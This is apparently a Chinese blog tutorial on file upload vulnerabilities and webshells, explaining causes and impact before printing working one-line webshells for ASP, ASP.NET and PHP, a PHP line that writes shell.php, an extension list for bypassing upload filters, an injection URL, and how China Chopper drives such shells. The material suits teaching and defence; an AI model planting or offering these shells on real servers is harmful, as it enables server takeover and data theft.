文件上传

文件上传漏洞


漏洞原理

1.文件上传是Web 应用的必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站等。
2.如果服务器配置不当或者没有进行足够的过滤,Web 用户就可以上传任意文件,包括恶意脚本文件、exe 程序等,这就造成了文件上传漏洞。


漏洞成因

1.服务器配置不当会导致任意文件上传;
2.Web 应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;
3.程序开发部署时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。


漏洞危害

上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。 如果Web
服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。
如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。
同服务器下的其他网站无一幸免,均会被攻击者控制。
通过上传漏洞获得的网站后门,就WebShell。


WebShell

在计算机科学中,Shell 俗称壳(用来区别于“核”),是指“为使用者提供操作界面”的软件(命令解释器)。

类似于windows 系统给的cmd.exe 或者linux 下bash 等,虽然这些系统上的命令解释器不止一种。

WebShell 是一个网站的后门,也是一个命令解释器,不过是以Web 方式(HTTP 协议)通信(传递命令消息),继承了Web
用户的权限。

***WebShell本质上是在服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp*等,
也就是说WebShell 接收来自于Web 用户的命令,然后再服务器端执行。***

大马

WebShell 也可以是大马,也是网站木马。有一类WebShell 之所以叫大马,是因为与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。以下是一个简单的例子。输入密码,密码一般直接写在木马文件中。

在大马中我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。这是asp 的大马。

小马

**小马就是一句话木马,**因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话。

ASP:
<%eval request("cmd")%>

ASP.NET:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["cmd"],"unsafe");%>

PHP:
<?php @eval($_REQUEST['cmd']);?>
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>

    eval($_POST[cmd])

可以执行脚本后缀名
.php .php2 .php3 .php5 .phtml
.asp .aspx .ascx .ashx .asa
.cer
.jsp .jspx

/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。

中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php 的一句话木马,密码就是[cmd]。


中国菜刀与一句话木马配合实现了三大基本功能,如下。

文件管理
在中国菜刀页面继承Web 用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行exe 程序等。

虚拟终端
在中国菜刀下可以获得类似于cmd 和bash 的命令行接口,可以执行相关命令。

数据库管理
我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密。以MYSQL 为例子,填写配置,如下。

MYSQL //数据库类型 localhost //数据库地址
root //数据库的用户

//数据库的密码,密码为空就不写
utf8 //编码
此时,我们就可以执行SQL 语句,管理数据库了。

发布了261 篇原创文章 · 获赞 50 · 访问量 9万+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章